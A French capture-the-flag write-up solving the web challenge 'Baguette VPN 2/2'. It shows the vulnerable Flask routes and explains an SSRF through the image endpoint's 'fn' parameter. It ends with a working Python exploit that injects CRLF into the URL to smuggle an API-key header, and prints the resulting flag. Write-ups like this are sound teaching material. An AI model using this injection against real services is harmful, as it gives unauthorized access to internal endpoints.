Solution de tacorabane pour Baguette VPN 2/2

web python

9 décembre 2023

Après avoir réussi Baguette VPN 1/2, vous devriez avoir :

  • le Docker instancié,
  • le fichier Python.

Étude du fichier Python

Démarrons par l’étude du fichier Python.

@app.route("/api/secret")
def admin():
    if request.remote_addr == "127.0.0.1":
        if request.headers.get("X-API-KEY") == "b99cc420eb25205168e83190bae48a12":
            return jsonify({"secret": os.getenv("FLAG")})
        return Response("Interdit: mauvaise clé d'API", status=403)
    return Response("Interdit: mauvaise adresse IP", status=403)

En regardant le routing de l’application Flask, nous voyons qu’il y a un endpoint /api/secret. Dès lors que vous tentez d’y accéder, le serveur vous dit que vous n’êtes pas identifiés avec la bonne adresse IP.

En effet, vous devez être 127.0.0.1, soit l’application elle même. Nous cherchons donc une vulnérabilité de type SSRF (Server-Side Request Forgery) afin de requêter la ressource en tant que le serveur. Nous constatons qu’il y a une route permettant d’accéder à une image sur le serveur CDN.

@app.route("/api/image")
def image():
    filename = request.args.get("fn")
    if filename:
        http = urllib3.PoolManager()
        return http.request("GET", "http://baguette-vpn-cdn" + filename).data
    else:
        return Response("Paramètre manquant", status=400)

Pratique ! Cette partie du code nous permet d’accéder à une image par méthode GET via l’adresse http://baguette-cpn-cdn donc 127.0.0.1.

Fabriquons notre requête :

  1. Endpoint /api/image,
  2. Argument GET fn,
  3. Un .localhost au début de l’URL pour remplacer le domaine par localhost.

http://localhost:8000/api/image?fn=.localhost:1337/api/secret

Maintenant que nous avons notre SSRF, il va falloir l’envoyer au serveur mais, nous avons vu qu’en plus de l’adresse IP 127.0.0.1 il faut que nous ajoutions l’entête X-API-KEY: b99cc420eb25205168e83190bae48a12. Il va donc falloir utiliser une deuxième technique en exploitant une vulnérabilité connue de Python 3.7 et urllib3 : https://bugs.python.org/issue36276.

Exploitation

import requests

host = "localhost:8000/api/image?fn=.localhost:1337/api/secret"
payload = " HTTP/1.1\r\nX-API-KEY: b99cc420eb25205168e83190bae48a12\r\nlocalhost:1337"
url = "http://" + host + payload
r = requests.get(url)
print(r.text)

Puis on exécute.

$ python3 exploit.py
{"secret":"FCSC{6e86560231bae31b04948823e8d56fac5f1704aaeecf72b0c03bfe742d59fdfb}"}